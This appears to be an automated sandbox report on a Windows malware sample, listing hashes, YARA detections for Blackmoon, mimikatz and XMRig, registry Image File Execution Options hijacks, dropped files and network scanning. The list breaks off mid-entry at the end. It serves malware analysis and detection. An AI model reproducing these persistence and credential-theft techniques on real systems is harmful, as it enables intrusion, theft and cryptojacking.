Analysis
-
max time kernel
150s -
max time network
153s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
20-05-2024 03:27
Behavioral task
behavioral1
Sample
d9a7aa911667b23254b680fb901356dd18b24a336b22d4df51d5124e111c5ce5.exe
Resource
win7-20240221-en
General
-
Target
d9a7aa911667b23254b680fb901356dd18b24a336b22d4df51d5124e111c5ce5.exe
-
Size
6.4MB
-
MD5
9285ae62b4ce7e9d87a915fd62dfd031
-
SHA1
5704c99b6fe70fb74480f8261c441109c26d7753
-
SHA256
d9a7aa911667b23254b680fb901356dd18b24a336b22d4df51d5124e111c5ce5
-
SHA512
8b513989b8851d5b13dc639c0e8022849e027cc35609b20fca7f52f36cb56472c6e6ebf119b8bb21dcae065172bc31e37e8a46f60a7d167c73ac088ea1ff46d6
-
SSDEEP
98304:T/WXTBJYaVmknGzZr+H3O5SEPFtmOb9G1u5v/nZVnivsAl0kroSCa:KXTYimknGzwH3OgEPH39JX/nivPli
Malware Config
Signatures
-
Detect Blackmoon payload 4 IoCs
Processes:
resource yara_rule behavioral1/memory/1964-0-0x0000000000400000-0x0000000000A04000-memory.dmp family_blackmoon behavioral1/memory/1964-4-0x0000000000400000-0x0000000000A04000-memory.dmp family_blackmoon \Windows\jtenncln\ziyemtl.exe family_blackmoon behavioral1/memory/2264-9-0x0000000000400000-0x0000000000A04000-memory.dmp family_blackmoon -
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
ziyemtl.exedescription pid process target process PID 2632 created 1052 2632 ziyemtl.exe spoolsv.exe -
Contacts a large (28089) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
Processes:
resource yara_rule behavioral1/memory/1536-207-0x000000013FBE0000-0x000000013FCCE000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore -
UPX dump on OEP (original entry point) 64 IoCs
Processes:
resource yara_rule behavioral1/memory/1964-0-0x0000000000400000-0x0000000000A04000-memory.dmp UPX behavioral1/memory/1964-4-0x0000000000400000-0x0000000000A04000-memory.dmp UPX \Windows\jtenncln\ziyemtl.exe UPX behavioral1/memory/2264-9-0x0000000000400000-0x0000000000A04000-memory.dmp UPX \Windows\ekicineqi\UnattendGC\specials\svschost.exe UPX behavioral1/memory/2764-123-0x0000000000DE0000-0x0000000000DF2000-memory.dmp UPX C:\Windows\ekicineqi\UnattendGC\specials\cnli-1.dll UPX behavioral1/memory/2764-126-0x0000000074910000-0x0000000074933000-memory.dmp UPX C:\Windows\ekicineqi\UnattendGC\specials\coli-0.dll UPX C:\Windows\ekicineqi\UnattendGC\specials\exma-1.dll UPX C:\Windows\ekicineqi\UnattendGC\specials\tibe-2.dll UPX behavioral1/memory/2764-135-0x00000000748A0000-0x00000000748E3000-memory.dmp UPX behavioral1/memory/2764-134-0x00000000748F0000-0x00000000748F9000-memory.dmp UPX behavioral1/memory/2764-133-0x0000000074900000-0x0000000074909000-memory.dmp UPX C:\Windows\ekicineqi\UnattendGC\specials\trfo-2.dll UPX C:\Windows\ekicineqi\UnattendGC\specials\posh-0.dll UPX behavioral1/memory/2764-138-0x0000000074890000-0x000000007489D000-memory.dmp UPX C:\Windows\ekicineqi\UnattendGC\specials\ucl.dll UPX C:\Windows\ekicineqi\UnattendGC\specials\trch-1.dll UPX C:\Windows\ekicineqi\UnattendGC\specials\libxml2.dll UPX behavioral1/memory/2764-147-0x0000000074860000-0x0000000074876000-memory.dmp UPX behavioral1/memory/2764-146-0x0000000010000000-0x0000000010015000-memory.dmp UPX behavioral1/memory/2764-145-0x0000000074880000-0x0000000074889000-memory.dmp UPX C:\Windows\ekicineqi\UnattendGC\specials\tucl-1.dll UPX C:\Windows\ekicineqi\UnattendGC\specials\SSLEAY32.dll UPX behavioral1/memory/2764-156-0x0000000000230000-0x0000000000266000-memory.dmp UPX C:\Windows\ekicineqi\UnattendGC\specials\LIBEAY32.dll UPX behavioral1/memory/2764-153-0x0000000074850000-0x0000000074858000-memory.dmp UPX \Windows\ekicineqi\UnattendGC\specials\zlib1.dll UPX C:\Windows\ekicineqi\UnattendGC\specials\xdvl-0.dll UPX behavioral1/memory/2764-169-0x0000000074830000-0x000000007483A000-memory.dmp UPX behavioral1/memory/2764-168-0x0000000074840000-0x000000007484F000-memory.dmp UPX behavioral1/memory/2764-167-0x0000000000DE0000-0x0000000000DF2000-memory.dmp UPX \Windows\ekicineqi\UnattendGC\specials\crli-0.dll UPX \Windows\ekicineqi\Corporate\vfshost.exe UPX behavioral1/memory/1536-205-0x000000013FBE0000-0x000000013FCCE000-memory.dmp UPX behavioral1/memory/892-203-0x0000000000F90000-0x000000000107E000-memory.dmp UPX behavioral1/memory/892-202-0x0000000000F90000-0x000000000107E000-memory.dmp UPX behavioral1/memory/1536-207-0x000000013FBE0000-0x000000013FCCE000-memory.dmp UPX behavioral1/memory/2764-186-0x0000000074830000-0x000000007483A000-memory.dmp UPX behavioral1/memory/2764-184-0x0000000074840000-0x000000007484F000-memory.dmp UPX behavioral1/memory/2764-183-0x000000005A4C0000-0x000000005A4D6000-memory.dmp UPX behavioral1/memory/2764-182-0x0000000000C20000-0x0000000000D21000-memory.dmp UPX behavioral1/memory/2764-179-0x00000000000F0000-0x00000000001D1000-memory.dmp UPX behavioral1/memory/2764-178-0x0000000074860000-0x0000000074876000-memory.dmp UPX behavioral1/memory/2764-177-0x0000000010000000-0x0000000010015000-memory.dmp UPX behavioral1/memory/2764-176-0x0000000074880000-0x0000000074889000-memory.dmp UPX behavioral1/memory/2764-174-0x00000000748A0000-0x00000000748E3000-memory.dmp UPX behavioral1/memory/2764-181-0x0000000000230000-0x0000000000266000-memory.dmp UPX behavioral1/memory/2764-180-0x0000000074850000-0x0000000074858000-memory.dmp UPX behavioral1/memory/2764-173-0x00000000748F0000-0x00000000748F9000-memory.dmp UPX behavioral1/memory/2764-172-0x0000000074900000-0x0000000074909000-memory.dmp UPX behavioral1/memory/2764-171-0x0000000074910000-0x0000000074933000-memory.dmp UPX behavioral1/memory/2764-175-0x0000000074890000-0x000000007489D000-memory.dmp UPX behavioral1/memory/2764-170-0x0000000000DE0000-0x0000000000DF2000-memory.dmp UPX behavioral1/memory/2764-162-0x000000005A4C0000-0x000000005A4D6000-memory.dmp UPX behavioral1/memory/2764-161-0x0000000000C20000-0x0000000000D21000-memory.dmp UPX behavioral1/memory/2764-152-0x00000000000F0000-0x00000000001D1000-memory.dmp UPX behavioral1/memory/1748-229-0x000000013F480000-0x000000013F4DB000-memory.dmp UPX behavioral1/memory/2632-231-0x0000000002A10000-0x0000000002B30000-memory.dmp UPX behavioral1/memory/1952-232-0x000000013FB60000-0x000000013FC80000-memory.dmp UPX behavioral1/memory/1748-236-0x000000013F480000-0x000000013F4DB000-memory.dmp UPX behavioral1/memory/2920-239-0x000000013F530000-0x000000013F58B000-memory.dmp UPX behavioral1/memory/2920-241-0x000000013F530000-0x000000013F58B000-memory.dmp UPX -
XMRig Miner payload 13 IoCs
Processes:
resource yara_rule behavioral1/memory/1952-232-0x000000013FB60000-0x000000013FC80000-memory.dmp xmrig behavioral1/memory/1952-250-0x000000013FB60000-0x000000013FC80000-memory.dmp xmrig behavioral1/memory/1952-258-0x000000013FB60000-0x000000013FC80000-memory.dmp xmrig behavioral1/memory/1952-260-0x000000013FB60000-0x000000013FC80000-memory.dmp xmrig behavioral1/memory/1952-261-0x000000013FB60000-0x000000013FC80000-memory.dmp xmrig behavioral1/memory/1952-264-0x000000013FB60000-0x000000013FC80000-memory.dmp xmrig behavioral1/memory/1952-265-0x000000013FB60000-0x000000013FC80000-memory.dmp xmrig behavioral1/memory/1952-276-0x000000013FB60000-0x000000013FC80000-memory.dmp xmrig behavioral1/memory/1952-277-0x000000013FB60000-0x000000013FC80000-memory.dmp xmrig behavioral1/memory/1952-281-0x000000013FB60000-0x000000013FC80000-memory.dmp xmrig behavioral1/memory/1952-333-0x000000013FB60000-0x000000013FC80000-memory.dmp xmrig behavioral1/memory/1952-338-0x000000013FB60000-0x000000013FC80000-memory.dmp xmrig behavioral1/memory/1952-340-0x000000013FB60000-0x000000013FC80000-memory.dmp xmrig -
mimikatz is an open source tool to dump credentials on Windows 5 IoCs
Processes:
resource yara_rule behavioral1/memory/1964-0-0x0000000000400000-0x0000000000A04000-memory.dmp mimikatz behavioral1/memory/1964-4-0x0000000000400000-0x0000000000A04000-memory.dmp mimikatz \Windows\jtenncln\ziyemtl.exe mimikatz behavioral1/memory/2264-9-0x0000000000400000-0x0000000000A04000-memory.dmp mimikatz behavioral1/memory/1536-207-0x000000013FBE0000-0x000000013FCCE000-memory.dmp mimikatz -
Drops file in Drivers directory 3 IoCs
Processes:
ziyemtl.exewpcap.exedescription ioc process File opened for modification C:\Windows\system32\drivers\etc\hosts ziyemtl.exe File created C:\Windows\system32\drivers\npf.sys wpcap.exe File created C:\Windows\system32\drivers\etc\hosts ziyemtl.exe -
Sets file execution options in registry 2 TTPs 44 IoCs
Processes:
ziyemtl.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe ziyemtl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" ziyemtl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe ziyemtl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" ziyemtl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" ziyemtl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" ziyemtl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe ziyemtl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" ziyemtl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe ziyemtl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe ziyemtl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" ziyemtl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" ziyemtl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe ziyemtl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" ziyemtl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" ziyemtl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe ziyemtl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" ziyemtl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe ziyemtl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" ziyemtl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe ziyemtl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe ziyemtl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" ziyemtl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\schtasks.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" ziyemtl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe ziyemtl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe ziyemtl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe ziyemtl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" ziyemtl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" ziyemtl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" ziyemtl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cacls.exe ziyemtl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe ziyemtl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe ziyemtl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" ziyemtl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" ziyemtl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\schtasks.exe ziyemtl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" ziyemtl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe ziyemtl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" ziyemtl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" ziyemtl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe ziyemtl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe ziyemtl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" ziyemtl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe ziyemtl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe ziyemtl.exe -
ACProtect 1.3x - 1.4x DLL software 15 IoCs
Detects file using ACProtect software.
Processes:
resource yara_rule C:\Windows\ekicineqi\UnattendGC\specials\cnli-1.dll acprotect C:\Windows\ekicineqi\UnattendGC\specials\coli-0.dll acprotect C:\Windows\ekicineqi\UnattendGC\specials\exma-1.dll acprotect C:\Windows\ekicineqi\UnattendGC\specials\tibe-2.dll acprotect C:\Windows\ekicineqi\UnattendGC\specials\trfo-2.dll acprotect C:\Windows\ekicineqi\UnattendGC\specials\posh-0.dll acprotect C:\Windows\ekicineqi\UnattendGC\specials\ucl.dll acprotect C:\Windows\ekicineqi\UnattendGC\specials\trch-1.dll acprotect C:\Windows\ekicineqi\UnattendGC\specials\libxml2.dll acprotect C:\Windows\ekicineqi\UnattendGC\specials\tucl-1.dll acprotect C:\Windows\ekicineqi\UnattendGC\specials\SSLEAY32.dll acprotect C:\Windows\ekicineqi\UnattendGC\specials\LIBEAY32.dll acprotect \Windows\ekicineqi\UnattendGC\specials\zlib1.dll acprotect C:\Windows\ekicineqi\UnattendGC\specials\xdvl-0.dll acprotect \Windows\ekicineqi\UnattendGC\specials\crli-0.dll acprotect -
Executes dropped EXE 17 IoCs
Processes:
ziyemtl.exeziyemtl.exewpcap.execnnevtylb.exesvschost.exevfshost.exexohudmc.exekoaaya.exestitttibl.exejqyppm.exestitttibl.exestitttibl.exestitttibl.exestitttibl.exeziyemtl.exenkwgnclny.exeziyemtl.exepid process 2264 ziyemtl.exe 2632 ziyemtl.exe 1484 wpcap.exe 336 cnnevtylb.exe 2764 svschost.exe 1536 vfshost.exe 2896 xohudmc.exe 1628 koaaya.exe 1748 stitttibl.exe 1952 jqyppm.exe 2920 stitttibl.exe 652 stitttibl.exe 2028 stitttibl.exe 1936 stitttibl.exe 2020 ziyemtl.exe 2240 nkwgnclny.exe 452 ziyemtl.exe -
Loads dropped DLL 38 IoCs
Processes:
cmd.execmd.exewpcap.execmd.execnnevtylb.execmd.exesvschost.execmd.exeziyemtl.execmd.exepid process 1936 cmd.exe 1936 cmd.exe 2156 cmd.exe 1484 wpcap.exe 1484 wpcap.exe 1484 wpcap.exe 1484 wpcap.exe 1484 wpcap.exe 600 cmd.exe 336 cnnevtylb.exe 336 cnnevtylb.exe 2752 cmd.exe 2764 svschost.exe 2764 svschost.exe 2764 svschost.exe 2764 svschost.exe 2764 svschost.exe 2764 svschost.exe 2764 svschost.exe 2764 svschost.exe 2764 svschost.exe 2764 svschost.exe 2764 svschost.exe 2764 svschost.exe 2764 svschost.exe 2764 svschost.exe 2764 svschost.exe 892 cmd.exe 892 cmd.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 1916 cmd.exe -
Processes:
resource yara_rule \Windows\ekicineqi\UnattendGC\specials\svschost.exe upx behavioral1/memory/2764-123-0x0000000000DE0000-0x0000000000DF2000-memory.dmp upx C:\Windows\ekicineqi\UnattendGC\specials\cnli-1.dll upx behavioral1/memory/2764-126-0x0000000074910000-0x0000000074933000-memory.dmp upx C:\Windows\ekicineqi\UnattendGC\specials\coli-0.dll upx C:\Windows\ekicineqi\UnattendGC\specials\exma-1.dll upx C:\Windows\ekicineqi\UnattendGC\specials\tibe-2.dll upx behavioral1/memory/2764-135-0x00000000748A0000-0x00000000748E3000-memory.dmp upx behavioral1/memory/2764-134-0x00000000748F0000-0x00000000748F9000-memory.dmp upx behavioral1/memory/2764-133-0x0000000074900000-0x0000000074909000-memory.dmp upx C:\Windows\ekicineqi\UnattendGC\specials\trfo-2.dll upx C:\Windows\ekicineqi\UnattendGC\specials\posh-0.dll upx behavioral1/memory/2764-138-0x0000000074890000-0x000000007489D000-memory.dmp upx C:\Windows\ekicineqi\UnattendGC\specials\ucl.dll upx C:\Windows\ekicineqi\UnattendGC\specials\trch-1.dll upx C:\Windows\ekicineqi\UnattendGC\specials\libxml2.dll upx behavioral1/memory/2764-147-0x0000000074860000-0x0000000074876000-memory.dmp upx behavioral1/memory/2764-146-0x0000000010000000-0x0000000010015000-memory.dmp upx behavioral1/memory/2764-145-0x0000000074880000-0x0000000074889000-memory.dmp upx C:\Windows\ekicineqi\UnattendGC\specials\tucl-1.dll upx C:\Windows\ekicineqi\UnattendGC\specials\SSLEAY32.dll upx behavioral1/memory/2764-156-0x0000000000230000-0x0000000000266000-memory.dmp upx C:\Windows\ekicineqi\UnattendGC\specials\LIBEAY32.dll upx behavioral1/memory/2764-153-0x0000000074850000-0x0000000074858000-memory.dmp upx \Windows\ekicineqi\UnattendGC\specials\zlib1.dll upx C:\Windows\ekicineqi\UnattendGC\specials\xdvl-0.dll upx behavioral1/memory/2764-169-0x0000000074830000-0x000000007483A000-memory.dmp upx behavioral1/memory/2764-168-0x0000000074840000-0x000000007484F000-memory.dmp upx behavioral1/memory/2764-167-0x0000000000DE0000-0x0000000000DF2000-memory.dmp upx \Windows\ekicineqi\UnattendGC\specials\crli-0.dll upx \Windows\ekicineqi\Corporate\vfshost.exe upx behavioral1/memory/1536-205-0x000000013FBE0000-0x000000013FCCE000-memory.dmp upx behavioral1/memory/892-203-0x0000000000F90000-0x000000000107E000-memory.dmp upx behavioral1/memory/892-202-0x0000000000F90000-0x000000000107E000-memory.dmp upx behavioral1/memory/1536-207-0x000000013FBE0000-0x000000013FCCE000-memory.dmp upx behavioral1/memory/2764-186-0x0000000074830000-0x000000007483A000-memory.dmp upx behavioral1/memory/2764-184-0x0000000074840000-0x000000007484F000-memory.dmp upx behavioral1/memory/2764-183-0x000000005A4C0000-0x000000005A4D6000-memory.dmp upx behavioral1/memory/2764-182-0x0000000000C20000-0x0000000000D21000-memory.dmp upx behavioral1/memory/2764-179-0x00000000000F0000-0x00000000001D1000-memory.dmp upx behavioral1/memory/2764-178-0x0000000074860000-0x0000000074876000-memory.dmp upx behavioral1/memory/2764-177-0x0000000010000000-0x0000000010015000-memory.dmp upx behavioral1/memory/2764-176-0x0000000074880000-0x0000000074889000-memory.dmp upx behavioral1/memory/2764-174-0x00000000748A0000-0x00000000748E3000-memory.dmp upx behavioral1/memory/2764-181-0x0000000000230000-0x0000000000266000-memory.dmp upx behavioral1/memory/2764-180-0x0000000074850000-0x0000000074858000-memory.dmp upx behavioral1/memory/2764-173-0x00000000748F0000-0x00000000748F9000-memory.dmp upx behavioral1/memory/2764-172-0x0000000074900000-0x0000000074909000-memory.dmp upx behavioral1/memory/2764-171-0x0000000074910000-0x0000000074933000-memory.dmp upx behavioral1/memory/2764-175-0x0000000074890000-0x000000007489D000-memory.dmp upx behavioral1/memory/2764-170-0x0000000000DE0000-0x0000000000DF2000-memory.dmp upx behavioral1/memory/2764-162-0x000000005A4C0000-0x000000005A4D6000-memory.dmp upx behavioral1/memory/2764-161-0x0000000000C20000-0x0000000000D21000-memory.dmp upx behavioral1/memory/2764-152-0x00000000000F0000-0x00000000001D1000-memory.dmp upx behavioral1/memory/1748-229-0x000000013F480000-0x000000013F4DB000-memory.dmp upx behavioral1/memory/2632-231-0x0000000002A10000-0x0000000002B30000-memory.dmp upx behavioral1/memory/1952-232-0x000000013FB60000-0x000000013FC80000-memory.dmp upx behavioral1/memory/1748-236-0x000000013F480000-0x000000013F4DB000-memory.dmp upx behavioral1/memory/2920-239-0x000000013F530000-0x000000013F58B000-memory.dmp upx behavioral1/memory/2920-241-0x000000013F530000-0x000000013F58B000-memory.dmp upx behavioral1/memory/652-243-0x000000013F4F0000-0x000000013F54B000-memory.dmp upx behavioral1/memory/652-245-0x000000013F4F0000-0x000000013F54B000-memory.dmp upx C:\Windows\Temp\ekicineqi\stitttibl.exe upx behavioral1/memory/2028-247-0x000000013F5E0000-0x000000013F63B000-memory.dmp upx -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 15 ifconfig.me 16 ifconfig.me -
Creates a Windows Service
-
Drops file in System32 directory 12 IoCs
Processes:
xohudmc.exeziyemtl.exewpcap.exedescription ioc process File opened for modification C:\Windows\SysWOW64\koaaya.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 ziyemtl.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 ziyemtl.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat ziyemtl.exe File created C:\Windows\SysWOW64\wpcap.dll wpcap.exe File created C:\Windows\system32\wpcap.dll wpcap.exe File created C:\Windows\system32\Packet.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2326C1864DE719190C396A6E8734D8B4 ziyemtl.exe File created C:\Windows\SysWOW64\pthreadVC.dll wpcap.exe File created C:\Windows\SysWOW64\Packet.dll wpcap.exe File created C:\Windows\SysWOW64\koaaya.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2326C1864DE719190C396A6E8734D8B4 ziyemtl.exe -
Drops file in Program Files directory 3 IoCs
Processes:
wpcap.exedescription ioc process File created C:\Program Files\WinPcap\rpcapd.exe wpcap.exe File created C:\Program Files\WinPcap\LICENSE wpcap.exe File created C:\Program Files\WinPcap\uninstall.exe wpcap.exe -
Drops file in Windows directory 59 IoCs
Processes:
ziyemtl.exed9a7aa911667b23254b680fb901356dd18b24a336b22d4df51d5124e111c5ce5.exenkwgnclny.execmd.exedescription ioc process File created C:\Windows\ekicineqi\UnattendGC\specials\schoedcl.exe ziyemtl.exe File created C:\Windows\ekicineqi\UnattendGC\specials\svschost.xml ziyemtl.exe File created C:\Windows\ekicineqi\UnattendGC\specials\docmicfg.xml ziyemtl.exe File opened for modification C:\Windows\jtenncln\svschost.xml ziyemtl.exe File created C:\Windows\ekicineqi\tctmptkil\Packet.dll ziyemtl.exe File created C:\Windows\ekicineqi\UnattendGC\docmicfg.xml ziyemtl.exe File created C:\Windows\jtenncln\spoolsrv.xml ziyemtl.exe File created C:\Windows\ekicineqi\tctmptkil\nkwgnclny.exe ziyemtl.exe File created C:\Windows\ekicineqi\UnattendGC\specials\posh-0.dll ziyemtl.exe File created C:\Windows\ekicineqi\UnattendGC\specials\spoolsrv.exe ziyemtl.exe File created C:\Windows\jtenncln\vimpcsvc.xml ziyemtl.exe File opened for modification C:\Windows\jtenncln\spoolsrv.xml ziyemtl.exe File created C:\Windows\ekicineqi\tctmptkil\scan.bat ziyemtl.exe File created C:\Windows\jtenncln\ziyemtl.exe d9a7aa911667b23254b680fb901356dd18b24a336b22d4df51d5124e111c5ce5.exe File created C:\Windows\ekicineqi\UnattendGC\specials\trfo-2.dll ziyemtl.exe File created C:\Windows\jtenncln\schoedcl.xml ziyemtl.exe File opened for modification C:\Windows\jtenncln\schoedcl.xml ziyemtl.exe File created C:\Windows\ekicineqi\UnattendGC\specials\libeay32.dll ziyemtl.exe File created C:\Windows\ekicineqi\UnattendGC\specials\ucl.dll ziyemtl.exe File created C:\Windows\ekicineqi\UnattendGC\vimpcsvc.xml ziyemtl.exe File created C:\Windows\ekicineqi\Corporate\mimidrv.sys ziyemtl.exe File created C:\Windows\ekicineqi\UnattendGC\specials\svschost.exe ziyemtl.exe File opened for modification C:\Windows\jtenncln\vimpcsvc.xml ziyemtl.exe File created C:\Windows\ekicineqi\UnattendGC\AppCapture32.dll ziyemtl.exe File created C:\Windows\ime\ziyemtl.exe ziyemtl.exe File created C:\Windows\ekicineqi\UnattendGC\specials\docmicfg.exe ziyemtl.exe File opened for modification C:\Windows\ekicineqi\tctmptkil\Result.txt nkwgnclny.exe File created C:\Windows\ekicineqi\UnattendGC\schoedcl.xml ziyemtl.exe File opened for modification C:\Windows\jtenncln\docmicfg.xml ziyemtl.exe File opened for modification C:\Windows\jtenncln\ziyemtl.exe d9a7aa911667b23254b680fb901356dd18b24a336b22d4df51d5124e111c5ce5.exe File created C:\Windows\ekicineqi\UnattendGC\specials\spoolsrv.xml ziyemtl.exe File created C:\Windows\ekicineqi\UnattendGC\specials\schoedcl.xml ziyemtl.exe File created C:\Windows\ekicineqi\UnattendGC\specials\crli-0.dll ziyemtl.exe File created C:\Windows\ekicineqi\UnattendGC\specials\libxml2.dll ziyemtl.exe File created C:\Windows\ekicineqi\UnattendGC\specials\ssleay32.dll ziyemtl.exe File created C:\Windows\ekicineqi\UnattendGC\specials\tucl-1.dll ziyemtl.exe File created C:\Windows\ekicineqi\UnattendGC\specials\xdvl-0.dll ziyemtl.exe File created C:\Windows\ekicineqi\UnattendGC\specials\vimpcsvc.exe ziyemtl.exe File created C:\Windows\jtenncln\svschost.xml 